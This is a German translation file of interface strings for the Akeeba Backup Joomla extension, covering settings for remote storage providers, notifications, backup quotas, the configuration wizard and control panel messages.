COM_AKEEBABACKUP_CONFIG_POSTPROC_IDRIVESYNC_PVTKEY_TITLE="Privatschlüssel (optional)"
COM_AKEEBABACKUP_CONFIG_POSTPROC_IDRIVESYNC_USERNAME_DESCRIPTION="Der Benutzername oder die E-Mail-Adresse, die Sie zur Anmeldung bei iDriveSync verwendet haben"
COM_AKEEBABACKUP_CONFIG_POSTPROC_IDRIVESYNC_USERNAME_TITLE="Benutzername oder E-Mail"
COM_AKEEBABACKUP_CONFIG_PROCEMAIL_ADDRESS_DESCRIPTION="Die E-Mail-Adresse, an die die Sicherungsdateien gesendet werden"
COM_AKEEBABACKUP_CONFIG_PROCEMAIL_ADDRESS_TITLE="E-Mail-Adresse"
COM_AKEEBABACKUP_CONFIG_PROCEMAIL_SUBJECT_DESCRIPTION="Der Betreff der E-Mail (optional). Diese Option dient in erster Linie dazu, Sicherungen von mehreren Websites voneinander zu unterscheiden."
COM_AKEEBABACKUP_CONFIG_PROCEMAIL_SUBJECT_TITLE="E-Mail-Betreff"
COM_AKEEBABACKUP_CONFIG_PROCENGINE_DESCRIPTION="Nachbearbeitungs-Engines ermöglichen es Akeeba Backup, fertiggestellte Sicherungsarchiv-Teile auf andere Server und Remote-Speicheranbieter zu übertragen."
COM_AKEEBABACKUP_CONFIG_PROCENGINE_TITLE="Nachbearbeitungs-Engine"
COM_AKEEBABACKUP_CONFIG_PUSH_APIKEY_DESC="Gehen Sie zu https://www.pushbullet.com/account und kopieren Sie das Zugriffstoken von dieser Seite in das Textfeld hier. Es wird verwendet, um Push-Nachrichten an Ihr Konto zu senden. Sie können mehrere Tokens durch Kommas getrennt eingeben. Hinweis: Das Zugriffstoken ist für alle Personen sichtbar, die Zugriff auf diese Konfigurationsseite haben."
COM_AKEEBABACKUP_CONFIG_PUSH_APIKEY_LABEL="Pushbullet-Zugriffstoken"
COM_AKEEBABACKUP_CONFIG_PUSH_HEADER_DESC="Hier können Sie Push-Benachrichtigungen für Sicherungsereignisse konfigurieren, die direkt an Ihr Telefon, Tablet, Notebook oder Ihren Desktop-Computer gesendet werden. Sie müssen zuerst die kostenlose Drittanbieter-Anwendung <a href='http://pushbullet.com/'>Pushbullet</a> herunterladen."
COM_AKEEBABACKUP_CONFIG_PUSH_HEADER_LABEL="Push-Benachrichtigungen"
COM_AKEEBABACKUP_CONFIG_PUSH_PREFERENCE_DESC="Soll Akeeba Backup Ihnen Benachrichtigungen senden und wenn ja, wie? Wenn Sie Web Push auswählen, speichern Sie diese Optionen und kehren Sie zur Startseite zurück. Sie sehen dort einen neuen Bereich für Push-Benachrichtigungen unterhalb der Schnellzugriff-Symbole für Sicherungen, in dem Sie die Push-Benachrichtigungen für Ihren Browser verwalten können."
COM_AKEEBABACKUP_CONFIG_PUSH_PREFERENCE_LABEL="Push-Benachrichtigungen"
COM_AKEEBABACKUP_CONFIG_PUSH_PREFERENCE_OPT_NONE="Deaktiviert"
COM_AKEEBABACKUP_CONFIG_PUSH_PREFERENCE_OPT_PUSHBULLET="PushBullet"
COM_AKEEBABACKUP_CONFIG_PUSH_PREFERENCE_OPT_WEBPUSH="Web Push (Browser-API)"
COM_AKEEBABACKUP_CONFIG_QUICKICON_DESC="Wenn aktiviert, zeigt Akeeba Backup ein Ein-Klick-Sicherungssymbol oben auf der Startseite an. Ein Klick darauf aktiviert dieses Profil und erstellt eine Sicherung ohne weitere erforderliche Aktion Ihrerseits."
COM_AKEEBABACKUP_CONFIG_QUICKICON_LABEL="Ein-Klick-Sicherungssymbol"
COM_AKEEBABACKUP_CONFIG_REMOTEQUOTALATEST_TITLE="Aktuelle Sicherung nimmt an Remote-Dateikontingenten teil"
COM_AKEEBABACKUP_CONFIG_REMOTEQUOTALATEST_DESCRIPTION="Wenn aktiviert, nimmt die aktuell laufende Sicherung an den Remote-Dateikontingenten teil. Dies kann problematisch sein: Wenn die Sicherung nur teilweise in den Remote-Speicher hochgeladen wurde und die Kontingenteinstellungen so konfiguriert sind, dass nur die neueste Sicherung erhalten bleibt, könnten Sie ohne eine gültige remote gespeicherte Sicherung dastehen. Die Deaktivierung verringert die Wahrscheinlichkeit, dass Sie ohne eine gültige Sicherung im Remote-Speicher dastehen, auf Kosten der Speicherung eines zusätzlichen Sicherungsarchivs remote."
COM_AKEEBABACKUP_CONFIG_LOCAL_HEAD="Kontingente für lokale Dateien"
COM_AKEEBABACKUP_CONFIG_REMOTE_HEAD="Kontingente für Remote-Dateien"
COM_AKEEBABACKUP_CONFIG_RUNTIMEBIAS_DESCRIPTION="Dies legt fest, wie konservativ Akeeba Backup beim Versuch vorgeht, einen Zeitüberschreitung zu vermeiden. Je niedriger dieser Wert, desto konservativer verhält es sich. Wenn Sie Zeitüberschreitungsfehler erhalten, versuchen Sie bitte, sowohl die maximale Ausführungszeit als auch diese Einstellung zu verringern.<strong>Tipp</strong>: Wählen Sie „Benutzerdefiniert" und geben Sie den gewünschten Wert ein, wenn er nicht in der Liste vorhanden ist."
COM_AKEEBABACKUP_CONFIG_RUNTIMEBIAS_TITLE="Ausführungszeit-Gewichtung"
COM_AKEEBABACKUP_CONFIG_S3ACCESSKEY_DESCRIPTION="Ihr Amazon S3 (oder anderer S3-kompatibler Dienst) Zugriffsschlüssel"
COM_AKEEBABACKUP_CONFIG_S3ACCESSKEY_TITLE="Zugriffsschlüssel"
COM_AKEEBABACKUP_CONFIG_S3BUCKET_DESCRIPTION="Ihr S3-Bucket-Name. Stellen Sie sicher, dass er genau so eingegeben wird, wie er auf der Amazon AWS-Konsole erscheint."
COM_AKEEBABACKUP_CONFIG_S3BUCKET_TITLE="Bucket"
COM_AKEEBABACKUP_CONFIG_S3CUSTOMENDPOINT_DESCRIPTION="Verwenden Sie einen S3-kompatiblen Anbieter? Geben Sie hier den Endpunkt-URL Ihres Diensts ein, z. B. s3.example.com oder https://s3.example.com"
COM_AKEEBABACKUP_CONFIG_S3CUSTOMENDPOINT_TITLE="Benutzerdefinierter Endpunkt"
COM_AKEEBABACKUP_CONFIG_S3DIRECTORY_DESCRIPTION="Das Verzeichnis in Ihrem S3-Bucket zum Speichern der Backup-Archive. Lassen Sie es leer, um alle Dateien im Stammverzeichnis des Buckets zu speichern."
COM_AKEEBABACKUP_CONFIG_S3DIRECTORY_TITLE="Verzeichnis"
COM_AKEEBABACKUP_CONFIG_S3_ACL_TITLE="Dateiberechtigungen (ACLs)"
COM_AKEEBABACKUP_CONFIG_S3_ACL_DESCRIPTION="Wählen Sie die Berechtigungen der hochgeladenen Datei. In den meisten Fällen sind „Privat" oder „Bucket-Eigentümer kann lesen" die geeignetsten Optionen. Wenn Sie einen S3-kompatiblen Drittanbieterdienst verwenden, sollten Sie statt der Standardeinstellung „Privat" wählen."
COM_AKEEBABACKUP_CONFIG_S3_ACL_PRIVATE="Privat"
COM_AKEEBABACKUP_CONFIG_S3_ACL_PUBLIC_READ="Jeder kann lesen"
COM_AKEEBABACKUP_CONFIG_S3_ACL_PUBLIC_READ_WRITE="Jeder kann lesen und schreiben"
COM_AKEEBABACKUP_CONFIG_S3_ACL_AUTHENTICATED_READ="Authentifizierte IAM-Benutzer können lesen"
COM_AKEEBABACKUP_CONFIG_S3_ACL_BUCKET_OWNER_READ="Bucket-Eigentümer kann lesen"
COM_AKEEBABACKUP_CONFIG_S3_ACL_BUCKET_OWNER_FULL_CONTROL="Bucket-Eigentümer hat vollständige Kontrolle"
COM_AKEEBABACKUP_CONFIG_S3LEGACY_DESCRIPTION="Wenn aktiviert, werden alle Uploads zu Amazon S3 auf einzelne Teile erzwungen. Verwenden Sie diese Option, wenn Sie beim Hochladen von Sicherungsteilen RequestTimeout-Fehler von der S3-Engine erhalten."
COM_AKEEBABACKUP_CONFIG_S3LEGACY_TITLE="Mehrteilige Uploads deaktivieren"
COM_AKEEBABACKUP_CONFIG_S3RRS_DESCRIPTION="Wählen Sie die Speicherklasse für Ihre Daten. Standard ist der reguläre Speicher für geschäftskritische Daten. Bitte konsultieren Sie die Amazon S3-Dokumentation für die Beschreibung der einzelnen Speicherklassen."
COM_AKEEBABACKUP_CONFIG_S3RRS_TITLE="Speicherklasse"
COM_AKEEBABACKUP_CONFIG_S3SECRETKEY_DESCRIPTION="Ihr Amazon S3 (oder anderer S3-kompatibler Dienst) Geheimschlüssel"
COM_AKEEBABACKUP_CONFIG_S3SECRETKEY_TITLE="Geheimschlüssel"
COM_AKEEBABACKUP_CONFIG_S3USESSL_DESCRIPTION="Wenn aktiviert, wird beim Hochladen Ihrer Dateien eine sichere (HTTPS-)Verbindung verwendet. Obwohl dies die Sicherheit der übertragenen Daten erhöht, steigt auch die Wahrscheinlichkeit eines Sicherungsfehlschlags aufgrund von Zeitüberschreitungen."
COM_AKEEBABACKUP_CONFIG_S3USESSL_TITLE="SSL verwenden"
COM_AKEEBABACKUP_CONFIG_S3_DUALSTACK_DESCRIPTION="Sollen die Dual-Stack-Endpunkte für Amazon S3 verwendet werden? Dies ermöglicht den Zugriff auf S3 über IPv6 für Server, die IPv6 unterstützen. Server ohne IPv6-Unterstützung können weiterhin über IPv4 auf S3 zugreifen. Bei Verwendung eines benutzerdefinierten Endpunkts hat diese Einstellung keine Wirkung."
COM_AKEEBABACKUP_CONFIG_S3_DUALSTACK_TITLE="IPv6-Unterstützung (Dual-Stack) aktivieren"
COM_AKEEBABACKUP_CONFIG_S3_ALTERNATEDATEHEADERFORMAT_TITLE="Alternatives Datumsformat"
COM_AKEEBABACKUP_CONFIG_S3_ALTERNATEDATEHEADERFORMAT_DESCRIPTION="Deaktivieren Sie diese Einstellung nur, wenn Sie der Support dazu auffordert."
COM_AKEEBABACKUP_CONFIG_S3_USEHTTPDATEHEADER_TITLE="HTTP-Header „Date" anstelle von „X-Amz-Date" verwenden"
COM_AKEEBABACKUP_CONFIG_S3_USEHTTPDATEHEADER_DESCRIPTION="Aktivieren Sie diese Einstellung nur, wenn Sie der Support dazu auffordert."
COM_AKEEBABACKUP_CONFIG_S3_PRESIGNEDBUCKETINURL_TITLE="Bucket-Namen in vorsignierten v4-URLs einschließen"
COM_AKEEBABACKUP_CONFIG_S3_PRESIGNEDBUCKETINURL_DESCRIPTION="Aktivieren Sie diese Einstellung nur, wenn Sie der Support dazu auffordert."
COM_AKEEBABACKUP_CONFIG_SAVENEW_DEFAULT_PROFILE_NAME="Neues Sicherungsprofil"
COM_AKEEBABACKUP_CONFIG_SAVE_OK="Die Konfiguration wurde gespeichert"
COM_AKEEBABACKUP_CONFIG_SCANENGINE_DESCRIPTION="Legt fest, wie Akeeba Backup die Dateien und Ordner Ihrer Website durchsucht, um zu bestimmen, welche davon gesichert werden müssen."
COM_AKEEBABACKUP_CONFIG_SCANENGINE_TITLE="Dateisystem-Scanner-Engine"
COM_AKEEBABACKUP_CONFIG_SECRETWORD_DESC="Dieses Passwort wird mit den Funktionen „Frontend-Sicherung (Legacy-API)" und „JSON-API" verwendet, um sie vor unbefugtem Zugriff zu schützen. Akeeba Backup aktiviert diese Funktionen NICHT, sofern Sie hier kein langes, komplexes Passwort verwenden. Weitere Informationen finden Sie in der Dokumentation."
COM_AKEEBABACKUP_CONFIG_SECRETWORD_LABEL="Geheimwort"
COM_AKEEBABACKUP_CONFIG_SECURITY_USEENCRYPTION_DESCRIPTION="Wenn aktiviert, werden Konfigurationseinstellungen mit der branchenüblichen AES-128-Verschlüsselung verschlüsselt."
COM_AKEEBABACKUP_CONFIG_SECURITY_USEENCRYPTION_LABEL="Verschlüsselung verwenden"
COM_AKEEBABACKUP_CONFIG_SECURITY_NO_FLUSH_LABEL="Kein flush()"
COM_AKEEBABACKUP_CONFIG_SECURITY_NO_FLUSH_DESCRIPTION="Deaktiviert die Verwendung von flush() während AJAX-Operationen. Aktivieren Sie diese Option nur auf sehr fehlerhaften Servern, auf denen die Sicherung nicht einmal startet."
COM_AKEEBABACKUP_CONFIG_ACCURATE_PHP_CLI_LABEL="Genauer PHP-CLI-Pfad"
COM_AKEEBABACKUP_CONFIG_ACCURATE_PHP_CLI_DESCRIPTION="Aktivieren Sie diese Option, damit Akeeba Backup versucht, den genauen PHP-CLI-Pfad auf Ihrem Server zu ermitteln. Deaktivieren Sie sie, wenn Ihr Server dies nicht erlaubt und dabei Ihre IP-Adresse für mehrere Minuten bis Stunden von Ihrer Website sperrt (z. B. bei IONOS)."
COM_AKEEBABACKUP_CONFIG_SFTPTEST_BADPREFIX="Sie sollten dem SFTP-Hostnamen NICHT das Präfix sftp:// voranstellen. Bitte entfernen Sie das Präfix sftp:// und versuchen Sie es erneut."
COM_AKEEBABACKUP_CONFIG_SFTPTEST_NOUPLOAD="Akeeba Backup konnte eine Verbindung zu Ihrem SFTP-Server herstellen, konnte aber keine Testdatei hochladen. Das Backup könnte fehlschlagen."
COM_AKEEBABACKUP_CONFIG_SIZEQUOTA_ENABLE_DESCRIPTION="Wenn aktiviert, löscht Akeeba Backup alte Sicherungsdateien, wenn die Gesamtgröße der Sicherungsarchive den unten definierten Wert überschreitet. Diese Einstellung wird <strong>pro Profil</strong> angewendet."
COM_AKEEBABACKUP_CONFIG_SIZEQUOTA_ENABLE_TITLE="Größenkontingent aktivieren"
COM_AKEEBABACKUP_CONFIG_SIZEQUOTA_VALUE_DESCRIPTION="Wenn die Gesamtgröße der mit dem aktuellen Profil erstellten Sicherungsarchive dieses Limit überschreitet, werden die ältesten Sicherungen vom Server gelöscht.<br/><br/><strong>Tipp</strong>: Wählen Sie „Benutzerdefiniert" und geben Sie den gewünschten Wert ein, wenn er nicht in der Liste vorhanden ist."
COM_AKEEBABACKUP_CONFIG_SIZEQUOTA_VALUE_TITLE="Größenkontingent"
COM_AKEEBABACKUP_CONFIG_SPLITDBDUMP_DESCRIPTION="Ihre Datenbank-Dumps werden in kleine Dateien aufgeteilt, um die Komprimierung zu verbessern und Dateigrößenprobleme auf bestimmten günstigen Hosts zu vermeiden. Idealerweise sollten Sie die Hälfte der Größe Ihres Grenzwerts für große Dateien verwenden. Setzen Sie den Wert auf 0, um die Aufteilung zu deaktivieren und eine einzige große Dump-Datei pro Datenbank zu erstellen."
COM_AKEEBABACKUP_CONFIG_SPLITDBDUMP_TITLE="Größe für aufgeteilte SQL-Dump-Dateien"
COM_AKEEBABACKUP_CONFIG_SUGARSYNC_ACCESS_DESCRIPTION="Geben Sie Ihre Zugriffsschlüssel-ID ein. Erstellen Sie eine unter https://www.sugarsync.com/developer/account"
COM_AKEEBABACKUP_CONFIG_SUGARSYNC_ACCESS_TITLE="Zugriffsschlüssel-ID"
COM_AKEEBABACKUP_CONFIG_SUGARSYNC_DIRECTORY_DESCRIPTION="Das Verzeichnis in Ihrem SugarSync-Arbeitsbereich zum Speichern der Backup-Archive."
COM_AKEEBABACKUP_CONFIG_SUGARSYNC_DIRECTORY_TITLE="Verzeichnis"
COM_AKEEBABACKUP_CONFIG_SUGARSYNC_EMAIL_DESCRIPTION="Die E-Mail-Adresse für Ihr SugarSync-Konto"
COM_AKEEBABACKUP_CONFIG_SUGARSYNC_EMAIL_TITLE="E-Mail"
COM_AKEEBABACKUP_CONFIG_SUGARSYNC_PASSWORD_DESCRIPTION="Das Passwort für Ihr SugarSync-Konto"
COM_AKEEBABACKUP_CONFIG_SUGARSYNC_PASSWORD_TITLE="Passwort"
COM_AKEEBABACKUP_CONFIG_SUGARSYNC_PRIVATE_DESCRIPTION="Geben Sie den privaten Zugriffsschlüssel ein, der Ihrer Zugriffsschlüssel-ID entspricht. Erstellen Sie einen unter https://www.sugarsync.com/developer/account"
COM_AKEEBABACKUP_CONFIG_SUGARSYNC_PRIVATE_TITLE="Privater Zugriffsschlüssel"
COM_AKEEBABACKUP_CONFIG_SWIFT_AUTHURL_DESCRIPTION="Die Authentifizierungs-URL des OpenStack Swift API-Diensts."
COM_AKEEBABACKUP_CONFIG_SWIFT_AUTHURL_TITLE="Authentifizierungs-URL"
COM_AKEEBABACKUP_CONFIG_SWIFT_CONTAINERURL_DESCRIPTION="Der API-Endpunkt für Ihren Objektspeicher-Container, z. B. https://storage.example.com/v1/AUTH_abcdef0123456789abcdef0123456789/my-container"
COM_AKEEBABACKUP_CONFIG_SWIFT_CONTAINERURL_TITLE="Container-URL"
COM_AKEEBABACKUP_CONFIG_SWIFT_DIRECTORY_DESCRIPTION="Das Verzeichnis im OpenStack Swift-Speicher-Container zum Speichern der Backup-Archive. Lassen Sie es leer, um Dateien im Stammverzeichnis des Containers zu speichern."
COM_AKEEBABACKUP_CONFIG_SWIFT_DIRECTORY_TITLE="Verzeichnis"
COM_AKEEBABACKUP_CONFIG_SWIFT_PASSWORD_DESCRIPTION="Das OpenStack-API-Passwort für Ihre Cloud."
COM_AKEEBABACKUP_CONFIG_SWIFT_PASSWORD_TITLE="OpenStack-Passwort"
COM_AKEEBABACKUP_CONFIG_SWIFT_TENANTID_DESCRIPTION="Die Mandanten-ID (Projekt-ID) des OpenStack-Kontos."
COM_AKEEBABACKUP_CONFIG_SWIFT_TENANTID_TITLE="Mandanten-ID"
COM_AKEEBABACKUP_CONFIG_SWIFT_USERNAME_DESCRIPTION="Der Benutzername für die Authentifizierung beim OpenStack Swift API-Dienst."
COM_AKEEBABACKUP_CONFIG_SWIFT_USERNAME_TITLE="Benutzername"
COM_AKEEBABACKUP_CONFIG_SWIFT_KEYSTONE_VERSION_TITLE="Keystone-Version"
COM_AKEEBABACKUP_CONFIG_SWIFT_KEYSTONE_VERSION_DESCRIPTION="Wählen Sie, welche Version des OpenStack Keystone-Authentifizierungsdienstes von Ihrem Speicheranbieter verwendet wird. Falls Sie unsicher sind, fragen Sie bitte Ihren Speicheranbieter."
COM_AKEEBABACKUP_CONFIG_SWIFT_KEYSTONE_VERSION_V2="Keystone v2 (Legacy)"
COM_AKEEBABACKUP_CONFIG_SWIFT_KEYSTONE_VERSION_V3="Keystone v3"
COM_AKEEBABACKUP_CONFIG_SWIFT_DOMAIN_TITLE="Keystone v3-Authentifizierungsdomäne"
COM_AKEEBABACKUP_CONFIG_SWIFT_DOMAIN_DESCRIPTION="Wird nur bei der Keystone v3-Authentifizierung verwendet. Dies ist die Authentifizierungsdomäne für den Keystone v3-Dienst, <strong>NICHT</strong> der Hostname des Keystone-Authentifizierungsservers. In den meisten Fällen ist es <code>default</code> oder <code>Default</code>. Falls Sie unsicher sind, fragen Sie bitte Ihren Speicheranbieter."
COM_AKEEBABACKUP_CONFIG_UI_AJAXERRORDLG_TEXT="Beim Warten auf eine AJAX-Antwort ist ein Fehler aufgetreten:"
COM_AKEEBABACKUP_CONFIG_UI_AJAXERRORDLG_TITLE="AJAX-Fehler"
COM_AKEEBABACKUP_CONFIG_UI_BROWSE="Durchsuchen..."
COM_AKEEBABACKUP_CONFIG_UI_BROWSER_TITLE="Verzeichnis-Browser"
COM_AKEEBABACKUP_CONFIG_UI_CONFIG="Konfigurieren..."
COM_AKEEBABACKUP_CONFIG_UI_CUSTOM="Benutzerdefiniert..."
COM_AKEEBABACKUP_CONFIG_UI_FTPBROWSER_TITLE="FTP-Verzeichnis-Browser"
COM_AKEEBABACKUP_CONFIG_UI_REFRESH="Aktualisieren"
COM_AKEEBABACKUP_CONFIG_UI_ROOTDIR="Die Verwendung des Website-Stammverzeichnisses für die Sicherungsausgabe oder den temporären Dateispeicher führt zu einem Sicherungsfehlschlag. Ihre Einstellung wird überschrieben."
COM_AKEEBABACKUP_CONFIG_UI_SETTINGS_NOTSECURED="Ihr Server unterstützt keine Verschlüsselung Ihrer Konfigurationseinstellungen. Wir empfehlen dringend, keine Passwörter in der Konfiguration zu speichern."
COM_AKEEBABACKUP_CONFIG_UI_SETTINGS_SECURED="Ihre Einstellungen sind durch 128-Bit-Verschlüsselung gesichert. Sie können Ihre Passwörter sicher in der Konfiguration speichern."
COM_AKEEBABACKUP_CONFIG_UPLOADKICKSTART_DESCRIPTION="Wenn aktiviert, wird eine Kopie von Akeeba Kickstart Professional in den oben in der Nachbearbeitungs-Engine angegebenen Remote-Speicher hochgeladen (ausgenommen die Engines „Keine" und „E-Mail"). Dies ist sinnvoll, wenn Sie FTP oder SFTP verwenden, um Ihre Website auf einen anderen Server zu übertragen: Sowohl Ihr Sicherungsarchiv als auch Kickstart, das zur Entpackung verwendet wird, werden auf Ihren Remote-Server hochgeladen. Nach Abschluss der Sicherung können Sie Kickstart einfach auf der Remote-Website starten und mit der Wiederherstellung fortfahren. So einfach!"
COM_AKEEBABACKUP_CONFIG_UPLOADKICKSTART_TITLE="Kickstart in Remote-Speicher hochladen"
COM_AKEEBABACKUP_CONFIG_USAGESTATS_DESC="Helfen Sie uns, unsere Software zu verbessern, indem Sie Ihre PHP-, MySQL- und Joomla!-Versionen anonym und automatisch melden. Diese Informationen helfen uns zu entscheiden, welche Versionen von Joomla!, PHP und MySQL wir in zukünftigen Versionen unterstützen werden. Hinweis: Wir erfassen NICHT Ihren Webseiten-Namen, Ihre IP-Adresse oder andere direkt oder indirekt eindeutig identifizierende Informationen."
COM_AKEEBABACKUP_CONFIG_USAGESTATS_LABEL="Anonyme PHP-, MySQL- und Joomla!-Versionsberichte aktivieren"
COM_AKEEBABACKUP_CONFIG_VIRTUALFOLDER_DESCRIPTION="Wenn Sie externe Verzeichnisse konfiguriert haben, erscheinen deren Inhalte im Archiv als Unterverzeichnisse dieses virtuellen Verzeichnisses. Es ist virtuell, da es auf Ihrem Server nicht wirklich existiert. Es existiert nur innerhalb des Backup-Archivs. Achten Sie darauf, dass der Name des virtuellen Verzeichnisses nicht mit einem vorhandenen Verzeichnis kollidiert, um Datenverlust zu vermeiden."
COM_AKEEBABACKUP_CONFIG_VIRTUALFOLDER_TITLE="Virtuelles Verzeichnis für externe Dateien"
COM_AKEEBABACKUP_CONFIG_WEBDAV_DIRECTORY_DESCRIPTION="Der Pfad des Verzeichnisses im WebDAV-Dienst, in dem die Backup-Archive gespeichert werden. Stellen Sie immer einen Schrägstrich voran, z. B. /backups"
COM_AKEEBABACKUP_CONFIG_WEBDAV_DIRECTORY_TITLE="Verzeichnis"
COM_AKEEBABACKUP_CONFIG_WEBDAV_PASSWORD_DESCRIPTION="Passwort"
COM_AKEEBABACKUP_CONFIG_WEBDAV_PASSWORD_TITLE="Passwort"
COM_AKEEBABACKUP_CONFIG_WEBDAV_URL_DESCRIPTION="Die URL des WebDAV-Diensts, z. B. https://example.com/dav/"
COM_AKEEBABACKUP_CONFIG_WEBDAV_URL_TITLE="URL"
COM_AKEEBABACKUP_CONFIG_WEBDAV_USERNAME_DESCRIPTION="Benutzername"
COM_AKEEBABACKUP_CONFIG_WEBDAV_USERNAME_TITLE="Benutzername"
COM_AKEEBABACKUP_CONFIG_WHERE_ARE_THE_FILTERS="Wenn Sie nach den Filtern suchen &ndash;z.&nbsp;B. zum Ausschließen von Dateien, Verzeichnissen und Datenbanktabellen&ndash; klicken Sie bitte auf die Schaltfläche Abbrechen, um zur Systemsteuerungsseite zurückzukehren, von der aus Sie auf diese Funktionen direkt zugreifen können."
COM_AKEEBABACKUP_CONFIG_ZIPCDGLUECHUNKSIZE_DESCRIPTION="ZIP-Dateien bestehen aus einem Datenbereich und einem „Verzeichnis"-Bereich. Diese Bereiche werden von Akeeba Backup parallel verarbeitet und während der Archiv-Finalisierungsphase zusammengeführt. Dieser Parameter bestimmt, wie viel Daten in dieser Phase auf einmal verarbeitet werden. Sie sollten diese Einstellung nicht ändern müssen, es sei denn, Sie haben schwerwiegende Speicherprobleme."
COM_AKEEBABACKUP_CONFIG_ZIPCDGLUECHUNKSIZE_TITLE="Blockgröße für die Verarbeitung des zentralen Verzeichnisses"
COM_AKEEBABACKUP_CONFIG__BACKBLAZE_DIRECTORY_TITLE="Verzeichnis"
COM_AKEEBABACKUP_CONFWIZ="Konfigurationsassistent"
COM_AKEEBABACKUP_CONFWIZ_CONGRATS="Herzlichen Glückwunsch! Sie haben den automatischen Konfigurationsassistenten abgeschlossen. Sie können nun Ihre neue Konfiguration testen, indem Sie ein Backup erstellen, oder sie auf der Konfigurationsseite weiter anpassen."
COM_AKEEBABACKUP_CONFWIZ_DBOPT="Optimierung der Einstellungen der Datenbank-Dump-Engine"
COM_AKEEBABACKUP_CONFWIZ_DIRECTORY="Ausgabeverzeichnis wird geprüft"
COM_AKEEBABACKUP_CONFWIZ_HEADER_FAILED="Konfigurationsassistent fehlgeschlagen"
COM_AKEEBABACKUP_CONFWIZ_HEADER_FINISHED="Benchmarking abgeschlossen"
COM_AKEEBABACKUP_CONFWIZ_INTROTEXT="Der Konfigurationsassistent führt eine Reihe von Benchmarks auf Ihrem Server durch, um die optimalen Backup-Einstellungen für Ihre Website zu ermitteln. Bitte navigieren Sie nicht von dieser Seite weg. Es ist normal, dass die Seite je nach Servergeschwindigkeit bis zu drei (3) Minuten lang eingefroren erscheint."
COM_AKEEBABACKUP_CONFWIZ_MAXEXEC="Maximale Ausführungszeit wird optimiert"
COM_AKEEBABACKUP_CONFWIZ_MINEXEC="Minimale Ausführungszeit wird optimiert"
COM_AKEEBABACKUP_CONFWIZ_PROGRESS="Serverumgebungsanalyse läuft"
COM_AKEEBABACKUP_CONFWIZ_SPLITSIZE="Ermittlung der erforderlichen Teilgröße für geteilte Archive"
COM_AKEEBABACKUP_CONFWIZ_FLUSH="Prüfung, ob <code>flush()</code> auf Ihrem Server funktioniert"
COM_AKEEBABACKUP_CONFWIZ_UI_CANTDBOPT="Akeeba Backup konnte die optimalen Datenbankdump-Einstellungen nicht ermitteln. Stellen Sie sicher, dass Ihr Server MySQL 5.0 oder höher ausführt und dass Ihr Datenbankbenutzer berechtigt ist, den Befehl SHOW TABLE STATUS auszuführen, bevor Sie diesen Assistenten erneut starten."
COM_AKEEBABACKUP_CONFWIZ_UI_CANTDETERMINEMINEXEC="Die minimale Ausführungszeit konnte nicht ermittelt werden. Dies deutet auf ein schwerwiegendes Kommunikationsproblem mit Ihrem Server hin. Bitte versuchen Sie, Akeeba Backup manuell zu konfigurieren."
COM_AKEEBABACKUP_CONFWIZ_UI_CANTDETERMINEPARTSIZE="Akeeba Backup konnte keine für Ihren Server geeignete Teilgröße ermitteln. Bitte stellen Sie sicher, dass in Ihrem Konto ausreichend freier Speicherplatz vorhanden ist, und führen Sie diesen Assistenten erneut aus."
COM_AKEEBABACKUP_CONFWIZ_UI_CANTFIXDIRECTORIES="Akeeba Backup konnte kein beschreibbares Ausgabe- und temporäres Verzeichnis finden. Bitte erteilen Sie dem Verzeichnis administrator/components/com_akeebabackup/backup Schreibrechte und führen Sie diesen Assistenten erneut aus."
COM_AKEEBABACKUP_CONFWIZ_UI_CANTSAVEMAXEXEC="Akeeba Backup konnte die Einstellungen für die maximale Ausführungszeit nicht speichern. Sie müssen diese manuell konfigurieren."
COM_AKEEBABACKUP_CONFWIZ_UI_CANTSAVEMINEXEC="Die Einstellung für die minimale Ausführungszeit konnte nicht gespeichert werden. Sie müssen Akeeba Backup manuell konfigurieren."
COM_AKEEBABACKUP_CONFWIZ_UI_EXECTOOLOW="Akeeba Backup hat festgestellt, dass Ihr Server eine maximale Ausführungszeit benötigt, die zu niedrig ist, um praktikabel zu sein. Es wäre besser, den Hosting-Anbieter zu wechseln oder Ihren Hoster zu bitten, die maximale Ausführungszeit von PHP zu erhöhen und CPU-Nutzungsbeschränkungen für Ihr Konto aufzuheben."
COM_AKEEBABACKUP_CONFWIZ_UI_MINEXECTRY="Teste %s Sekunden"
COM_AKEEBABACKUP_CONFWIZ_UI_PARTSIZE="Teste eine Teilgröße von %s MB"
COM_AKEEBABACKUP_CONFWIZ_UI_SAVEMINEXEC="Einstellung für minimale Ausführungszeit wird gespeichert"
COM_AKEEBABACKUP_CONFWIZ_UI_SAVINGMAXEXEC="Einstellung für maximale Ausführungszeit wird gespeichert"
COM_AKEEBABACKUP_CONFWIZ_UI_TRYAJAX="Versuche, eine asynchrone AJAX-Anfrage an Ihren Server zu senden"

COM_AKEEBABACKUP_CONTROLPANEL="Systemsteuerung"
COM_AKEEBABACKUP_CONTROLPANEL_BTN_HIDE="In 15 Tagen erinnern"
COM_AKEEBABACKUP_CONTROLPANEL_BTN_LEARNMORE="Mehr erfahren über <strong>Akeeba Backup Professional</strong>"
COM_AKEEBABACKUP_CONTROLPANEL_HEAD_LBL_DISCOUNT="Verwenden Sie den Gutscheincode <strong>%s</strong>, um mit einem Einführungsrabatt von <strong>20%%</strong> zu abonnieren."
COM_AKEEBABACKUP_CONTROLPANEL_HEAD_LBL_PROUPSELL_1="Fügen Sie geplante Backups, automatisches Hochladen zu über 40 Cloud-Speicher-Anbietern, integrierte Wiederherstellung, einen Website-Transfer-Assistenten und vieles mehr mit <strong>Akeeba Backup Professional</strong> hinzu."
COM_AKEEBABACKUP_CONTROLPANEL_HEAD_LBL_PROUPSELL_2="Eine einzelne Lizenz gilt für <strong>unbegrenzte Websites</strong>. Sie umfasst Support von den Entwicklern, die diese Software schreiben."
COM_AKEEBABACKUP_CONTROLPANEL_HEAD_PROUPSELL="Machen Sie Ihr Leben leichter"
COM_AKEEBABACKUP_CONTROLPANEL_MSG_REBUILTTABLES="<h3>Hoppla! Ihre Akeeba Backup-Datenbanktabellen sind beschädigt.</h3><p>Akeeba Backup hat festgestellt, dass seine Datenbanktabellen fehlten oder beschädigt waren. Melden Sie sich als Super-Benutzer im Administrator-Backend Ihrer Website an und gehen Sie im Seitenleisten-Joomla-Menü zum Menüpunkt System. Wählen Sie im Bereich Wartung den Link Datenbank. Wählen Sie das Akeeba Backup-Element aus der Liste aus und klicken Sie in der Symbolleiste auf die Schaltfläche Struktur aktualisieren, um die Datenbankttabellenprobleme zu beheben. Versuchen Sie dann erneut, auf Akeeba Backup zuzugreifen.</p>"
